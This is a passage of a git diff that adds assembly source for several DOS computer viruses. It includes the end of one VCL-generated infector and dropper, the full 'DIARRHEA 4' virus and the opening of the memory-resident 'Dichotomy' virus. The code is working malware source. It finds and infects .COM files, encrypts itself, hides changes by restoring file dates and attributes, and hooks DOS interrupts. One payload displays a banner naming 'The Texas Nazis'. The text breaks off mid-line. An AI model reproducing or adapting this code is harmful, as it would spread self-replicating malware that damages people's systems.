mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + int 021h + jc create_file ; If not found then create it +write_in_file: mov ax,04301h ; DOS set file attributes function + xor cx,cx ; File will have no attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ax,03D01h ; DOS open file function, write + lea dx,[di + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ax,05701h ; DOS set file date/time function + mov cx,[di + 016h] ; CX holds old file time + mov dx,[di + 018h] ; DX holds old file data + int 021h + mov ah,03Eh ; DOS close file function + int 021h + mov ax,04301h ; DOS set file attributes function + xor ch,ch ; Clear CH for attributes + mov cl,[di + 015h] ; CL holds old attributes + lea dx,[di + 01Eh] ; DX points to file name + int 021h + mov ah,04Fh ; DOS find next file function + int 021h + jnc write_in_file ; If successful do next file + jmp short dropper_end ; Otherwise exit +create_file: mov ah,03Ch ; DOS create file function + xor cx,cx ; File has no attributes + int 021h + xchg bx,ax ; Transfer file handle to AX + mov ah,040h ; DOS write to file function + mov cx,[si] ; CX holds number of byte to write + lea dx,[si + 2] ; DX points to the data + int 021h + mov ah,03Eh ; DOS close file function + int 021h +dropper_end: pop di ; Restore DI + + +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + +search_files proc near + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,64 ; Allocate 64 bytes on stack + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 64] ; SI points to 64-byte buffer + int 021h + + mov ah,03Bh ; DOS change directory function + lea dx,[di + root] ; DX points to root directory + int 021h + + call traverse ; Start the traversal + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 64] ; DX points to old directory + int 021h + + mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller + +root db "\",0 ; Root directory +search_files endp + +traverse proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first function + mov cx,00010000b ; CX holds search attributes + lea dx,[di + all_files] ; DX points to "*.*" + int 021h + jc leave_traverse ; Leave if no files present + +check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory? + jne another_dir ; If not, try again + cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."? + je another_dir ;If so, keep going + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 98] ; DX points to new directory + int 021h + + call traverse ; Recursively call ourself + + pushf ; Save the flags + mov ah,03Bh ; DOS change directory function + lea dx,[di + up_dir] ; DX points to parent directory + int 021h + popf ; Restore the flags + + jnc done_searching ; If we infected then exit + +another_dir: mov ah,04Fh ; DOS find next function + int 021h + jnc check_dir ; If found check the file + +leave_traverse: + lea dx,[di + com_mask] ; DX points to "*.COM" + call find_files ; Try to infect a file +done_searching: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller + +up_dir db "..",0 ; Parent directory name +all_files db "*.*",0 ; Directories to search for +com_mask db "*.COM",0 ; Mask for all .COM files +traverse endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + +data00 db "*.EXE",0 + +data01 dw 254h + db 0EBh, 03Dh, 090h, 000h, 064h, 001h, 002h, 000h + db 000h, 054h, 068h, 065h, 044h, 072h, 061h, 077h + db 020h, 043h, 04Fh, 04Dh, 020h, 066h, 069h, 06Ch + db 065h, 020h, 053h, 063h, 072h, 065h, 065h, 06Eh + db 020h, 053h, 061h, 076h, 065h, 01Ah, 055h, 06Eh + db 073h, 075h, 070h, 070h, 06Fh, 072h, 074h, 065h + db 064h, 020h, 056h, 069h, 064h, 065h, 06Fh, 020h + db 04Dh, 06Fh, 064h, 065h, 00Dh, 00Ah, 024h, 0B4h + db 00Fh, 0CDh, 010h, 0BBh, 000h, 0B8h, 03Ch, 002h + db 074h, 018h, 03Ch, 003h, 074h, 014h, 0C6h, 006h + db 003h, 001h, 000h, 0BBh, 000h, 0B0h, 03Ch, 007h + db 074h, 008h, 0BAh, 026h, 001h, 0B4h, 009h, 0CDh + db 021h, 0C3h, 08Eh, 0C3h, 08Bh, 03Eh, 007h, 001h + db 0BEh, 0F0h, 001h, 0BAh, 0DAh, 003h, 0B3h, 009h + db 08Bh, 00Eh, 004h, 001h, 0FCh, 033h, 0C0h, 0ACh + db 03Ch, 01Bh, 075h, 005h, 080h, 0F4h, 080h, 0EBh + db 06Ah, 03Ch, 010h, 073h, 007h, 080h, 0E4h, 0F0h + db 00Ah, 0E0h, 0EBh, 05Fh, 03Ch, 018h, 074h, 013h + db 073h, 01Fh, 02Ch, 010h, 002h, 0C0h, 002h, 0C0h + db 002h, 0C0h, 002h, 0C0h, 080h, 0E4h, 08Fh, 00Ah + db 0E0h, 0EBh, 048h, 08Bh, 03Eh, 007h, 001h, 081h + db 0C7h, 0A0h, 000h, 089h, 03Eh, 007h, 001h, 0EBh + db 03Ah, 08Bh, 0E9h, 0B9h, 001h, 000h, 03Ch, 019h + db 075h, 008h, 0ACh, 08Ah, 0C8h, 0B0h, 020h, 04Dh + db 0EBh, 00Ah, 03Ch, 01Ah, 075h, 007h, 0ACh, 04Dh + db 08Ah, 0C8h, 0ACh, 04Dh, 041h, 080h, 03Eh, 003h + db 001h, 000h, 074h, 013h, 08Ah, 0F8h, 0ECh, 0D0h + db 0D8h, 072h, 0FBh, 0ECh, 022h, 0C3h, 075h, 0FBh + db 08Ah, 0C7h, 0ABh, 0E2h, 0F1h, 0EBh, 002h, 0F3h + db 0ABh, 08Bh, 0CDh, 0E3h, 002h, 0E2h, 088h, 0C3h + db 00Fh, 010h, 019h, 04Fh, 018h, 019h, 04Fh, 018h + db 019h, 04Fh, 018h, 019h, 003h, 009h, 01Bh, 0DAh + db 01Ah, 044h, 0C4h, 0BFh, 019h, 004h, 018h, 019h + db 003h, 0B3h, 00Ch, 01Bh, 0D2h, 0C4h, 0C4h, 0BFh + db 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D6h, 0C4h + db 0D2h, 0C4h, 0BFh, 020h, 020h, 0D6h, 0C4h, 0D2h + db 0C4h, 0BFh, 020h, 0D2h, 020h, 020h, 0C2h, 020h + db 020h, 0D2h, 0C4h, 0C4h, 0BFh, 020h, 0C4h, 0D2h + db 0C4h, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D2h + db 0C4h, 0C4h, 0BFh, 020h, 0D2h, 0C4h, 0C4h, 0BFh + db 020h, 0D2h, 020h, 020h, 0C2h, 020h, 0D2h, 0C4h + db 0C4h, 0BFh, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h + db 0D2h, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h + db 003h, 0B3h, 00Ch, 01Bh, 0C7h, 0C4h, 019h, 002h + db 0C7h, 0C4h, 0C4h, 0B4h, 019h, 002h, 0BAh, 019h + db 003h, 0BAh, 020h, 0BAh, 020h, 0B3h, 020h, 0D3h + db 0C4h, 0C4h, 0B4h, 020h, 020h, 0BAh, 020h, 020h + db 0B3h, 020h, 020h, 0BAh, 020h, 020h, 0C7h, 0C4h + db 0C4h, 0B4h, 020h, 0C7h, 0C4h, 0C2h, 0D9h, 020h + db 0C7h, 0C4h, 0C2h, 0D9h, 020h, 0C7h, 0C4h, 0C4h + db 0B4h, 020h, 0C7h, 0C4h, 019h, 002h, 0C7h, 0C4h + db 0C4h, 0B4h, 020h, 0BAh, 009h, 01Bh, 0B3h, 019h + db 004h, 018h, 019h, 003h, 0B3h, 00Ch, 01Bh, 0D0h + db 0C4h, 0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h + db 019h, 002h, 0D0h, 019h, 003h, 0D0h, 020h, 0D0h + db 020h, 0C1h, 020h, 0D3h, 0C4h, 0C4h, 0D9h, 020h + db 020h, 0D0h, 0C4h, 0C4h, 0D9h, 020h, 0C4h, 0D0h + db 0C4h, 020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h + db 020h, 0C1h, 020h, 020h, 0D0h, 020h, 0C1h, 020h + db 020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h, 0C4h + db 0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h, 020h + db 06Fh, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h + db 003h, 0B3h, 019h, 014h, 00Eh, 01Bh, 02Dh, 02Dh + db 047h, 047h, 020h, 041h, 06Ch, 06Ch, 069h, 06Eh + db 020h, 026h, 020h, 054h, 068h, 065h, 020h, 054h + db 065h, 078h, 061h, 073h, 020h, 04Eh, 061h, 07Ah + db 069h, 073h, 019h, 013h, 009h, 01Bh, 0B3h, 019h + db 004h, 018h, 019h, 003h, 0C0h, 01Ah, 044h, 0C4h + db 0D9h, 019h, 004h, 018h, 019h, 04Fh, 018h, 019h + db 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h + db 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh + db 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h + db 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h + db 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh + db 018h, 019h, 04Fh, 018h + +vcl_marker db "[VCL]",0 ; VCL creation marker + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/d/DIARRHEA.ASM b/d/DIARRHEA.ASM new file mode 100755 index 0000000..78de483 --- /dev/null +++ b/d/DIARRHEA.ASM @@ -0,0 +1,424 @@ +; DIARRHE4.ASM -- DIARRHEA 4 +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by URNST KOUCH + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + call get_weekday + cmp ax,0005h ; Did the function return 5? + je strt00 ; If equal, do effect + jmp end00 ; Otherwise skip over it +strt00: lea si,[di + data00] ; SI points to data + mov cx,0107h ; Second argument is 263 + push di ; Save DI + push es ; Save ES + + jcxz uncrunch_done ; Exit if there are no characters + + mov ah,0Fh ; BIOS get screen mode function + int 10h + xor ah,ah ; BIOS set screen mode function + int 10h ; Clear the screen + + xor di,di + mov ax,0B800h ; AX is set to video segment + mov es,ax ; ES holds video segment + + mov dx,di ; Save X coordinate for later + xor ax,ax ; Set current attributes + cld + +loopa: lodsb ; Get next character + cmp al,32 ; Is it a control character? + jb foreground ; Handle it if it is + stosw ; Save letter on screen +next: loop loopa ; Repeat until we're done + jmp short uncrunch_done ; Leave this routine + +foreground: cmp al,16 ; Are we changing the foreground? + jnb background ; If not, check the background + and ah,0F0h ; Strip off old foreground + or ah,al ; Put the new one on + jmp short next ; Resume looping + +background: cmp al,24 ; Are we changing the background? + je next_line ; If AL = 24, go to next line + jnb flash_bit_toggle ; If AL > 24 set the flash bit + sub al,16 ; Change AL to a color number + add al,al ; Crude way of shifting left + add al,al ; four bits without changing + add al,al ; CL or wasting space. Ok, + add al,al ; I guess. + and al,08Fh ; Strip off old background + or ah,al ; Put the new one on + jmp short next ; Resume looping + +next_line: add dx,160 ; Skip a whole line (80 chars. + mov di,dx ; AND 80 attribs.) + jmp short next ; Resume looping + +flash_bit_toggle: cmp al,27 ; Is it a blink toggle? + jb multi_output ; If AL < 27, it's a blinker + jne next ; Otherwise resume looping + xor ah,128 ; Toggle the flash bit + jmp short next ; Resume looping + +multi_output: cmp al,25 ; Set Zero flag if multi-space + mov bx,cx ; Save main counter + lodsb ; Get number of repititions + mov cl,al ; Put it in CL + mov al,' ' ; AL holds a space + jz start_output ; If displaying spaces, jump + lodsb ; Otherwise get character to use + dec bx ; Adjust main counter + +start_output: xor ch,ch ; Clear CH + inc cx ; Add one to count + rep stosw ; Display the character + mov cx,bx ; Restore main counter + dec cx ; Adjust main counter + loopnz loopa ; Resume looping if not done + +uncrunch_done: pop es ; Restore ES + pop di ; Restore DI + +end00: call search_files ; Find and infect a file + + +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + +search_files proc near + mov bx,di ; BX points to the virus + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,135 ; Allocate 135 bytes on stack + + mov byte ptr [bp - 135],'\' ; Start with a backslash + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 134] ; SI points to 64-byte buffer + int 021h + + call traverse_path ; Start the traversal + +traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful? + je done_searching ; If so then we're done + call found_subdir ; Otherwise copy the subdirectory + + mov ax,cs ; AX holds the code segment + mov ds,ax ; Set the data and extra + mov es,ax ; segments to the code segment + + xor al,al ; Zero AL + stosb ; NULL-terminate the directory + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 70] ; DX points to the directory + int 021h + + lea dx,[bx + com_mask] ; DX points to "*.COM" + push di + mov di,bx + call find_files ; Try to infect a .COM file + mov bx,di + pop di + jnc done_searching ; If successful the exit + jmp short traversal_loop ; Keep checking the PATH + +done_searching: mov ah,03Bh ; DOS change directory function + lea dx,[bp - 135] ; DX points to old directory + int 021h + + cmp word ptr [bx + path_ad],0 ; Did we run out of directories? + jne at_least_tried ; If not then exit + stc ; Set the carry flag for failure +at_least_tried: mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller +com_mask db "*.COM",0 ; Mask for all .COM files +search_files endp + +traverse_path proc near + mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment + xor di,di ; DI holds the starting offset + +find_path: lea si,[bx + path_string] ; SI points to "PATH=" + lodsb ; Load the "P" into AL + mov cx,08000h ; Check the first 32767 bytes + repne scasb ; Search until the byte is found + mov cx,4 ; Check the next four bytes +check_next_4: lodsb ; Load the next letter of "PATH=" + scasb ; Compare it to the environment + jne find_path ; If there not equal try again + loop check_next_4 ; Otherwise keep checking + + mov word ptr [bx + path_ad],di ; Save the PATH address + mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment + ret ; Return to caller + +path_string db "PATH=" ; The PATH string to search for +path_ad dd ? ; Holds the PATH's address +traverse_path endp + +found_subdir proc near + lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH + lea di,[bp - 70] ; DI points to the work buffer + push cs ; Transfer CS into ES for + pop es ; byte transfer +move_subdir: lodsb ; Load the next byte into AL + cmp al,';' ; Have we reached a separator? + je moved_one ; If so we're done copying + or al,al ; Are we finished with the PATH? + je moved_last_one ; If so get out of here + stosb ; Store the byte at ES:DI + jmp short move_subdir ; Keep transfering characters + +moved_last_one: xor si,si ; Zero SI to signal completion +moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address + ret ; Return to caller +found_subdir endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + +get_weekday proc near + mov ah,02Ah ; DOS get date function + int 021h + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_weekday endp + +data00 DB 15,16,24,24,24,24,24,24,25,3,12,'Ŀ Ŀ Ŀ ' + DB 'Ŀ Ŀ Ŀ Ŀ Ŀ Ŀ Ŀ ',24 + DB 25,3,'',25,2,'Ĵ',25,2,'',25,3,' Ĵ ' + DB ' Ĵ Ĵ ',25,2,'Ĵ ',24,25,3,'' + DB ' ',25,2,'',25,3,' ' + DB ' o',24,25,19,14,'-GG Allin ' + DB '& The Texas Nazis',24,24,24,24,24,24,24,24,24,24,24,24 + DB 24,24,24,24 + +vcl_marker db "[VCL]",0 ; VCL creation marker + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/d/DICHOTOM.ASM b/d/DICHOTOM.ASM new file mode 100755 index 0000000..8b510ec --- /dev/null +++ b/d/DICHOTOM.ASM @@ -0,0 +1,347 @@ +comment # + Source code of Dichotomy + + by Evil Avatar +# + +;============================================================ +; +; Dichotomy Virus +; (c) 1994 Evil Avatar +; +; TASM /M3 DIKOTOMY +; TLINK /X DIKOTOMY +; EXE2BIN DIKOTOMY DIKOTOMY.COM + +.model tiny +.code +org 0 + +;=====( Entry point for COM files )======================================== + +Dichotomy: + call delta +delta: mov bx, sp + mov bp, word ptr ds:[bx] + sub bp, offset delta ;get delta offset + inc sp + inc sp + cmp word ptr ds:[bp+virus1], 'D[' + mov ah, 1ah + lea dx, [bp+newDTA] ;buffer for new DTA + int 21h ;set new disk transfer address + mov ah, 4eh + mov cx, 7 ;any attribute + lea dx, [bp+FileName] ;host name + int 21h ;find second host file + jc maybe_host ;if carry, then we need a new host + mov ax, 3d00h + int 21h ;open second host + xchg ax, bx ;handle is better in bx + mov ax, 4200h + sub cx, cx + mov dx, word ptr ds:[bp+newDTA+1ah] + sub dx, (offset heap-offset loader2) + int 21h ;move pointer to virus code + mov ah, 3fh + mov cx, (offset heap-offset loader2) + lea dx, [bp+loader2] + int 21h ;read in second part of virus + mov ah, 3eh + int 21h ;close the file +maybe_host: + mov ah, 51h + int 21h ;check if resident + inc bx ;if resident, PSP should be -1 + jz resident ;yes? kewl! + cmp word ptr ds:[bp+virus1], 'D[' ;check if we are fully here + je go_res ;yes? we need to go resident +return: mov ah, 1ah + mov dx, 80h + int 21h ;restore DTA + lea si, [bp+comfix] ;offset of first 3 bytes of file + mov di, 100h ;start of .com file + mov ax, di + push ax + movsw + movsb + retn +resident: cmp word ptr ds:[bp+virus1], 'D[' ;is the second host here? + je return ;yes? return to program + mov ah, 62h + int 21h ;request new host + jmp return ;return to host +go_res: jmp loader2 ;go memory resident + +;=====( Variables )======================================================== + +comfix db 0cdh, 20h, 0 ;first 3 bytes of .com file +virus db '[Dichotomy]', 0 ;virus name +author db '(c) 1994 Evil Avatar', 0 ;me +FileName db 'DIKOTOMY.COM', 0, 73h dup (?) ;second host name +loader1_end: + +;=====( Go memory resident )=============================================== + +loader2: + mov byte ptr ds:[bp+count], 0 ;infections = 0 + mov ah, 'E' + xor ah, 0fh + mov bx, -1 + int 21h ;get available memory + mov ah, 'A' + xor ah, 0bh + sub bx, (virus_end-Dichotomy+15)/16+1 + int 21h ;create a hole in memory + mov ax, 3521h + int 21h ;get int 21h handler + mov word ptr [bp+save21], bx + mov word ptr [bp+save21+2], es ;save int 21h vector + mov ah, 'E' + xor ah, 0dh + mov bx, (virus_end-Dichotomy+15)/16 + int 21h ;allocate the memory + mov es, ax ;es is high virus segment + mov cx, (virus_end-Dichotomy+1)/2 + lea si, [bp+Dichotomy] + sub di, di + rep movsw ;copy ourself up there + push es + pop ds ;save virus seg for int 21h change + dec ax ;MCB segment + mov es, ax + mov word ptr es:[1], 8 ;make DOS the owner of our segment + mov ax, 4541h + sub ax, 2020h + lea dx, [int21] + int 21h ;set new int 21h handler + push cs cs + pop ds es ;restore PSP segments + jmp return ;return to host + +;=====( Find a new host )================================================== + +request: push ds di si cx cs + pop ds ;save registers + mov di, bp ;set up scan registers + sub si, si + mov cx, 5 + repe cmpsw ;scan to see if it is us + jne restore1 ;no? let dos take care of it + mov ax, 4300h + lea dx, [WhatRun] + int 21h ;get attributes of file + push cx ;save them + mov ax, 4301h + sub cx, cx + int 21h ;clear attributes + mov ax, 3d02h + int 21h ;open file read/write + xchg ax, bx + mov ax, 5700h + int 21h ;get file date/time + and cx, 1fh ;get seconds + cmp cx, 1fh ;is it 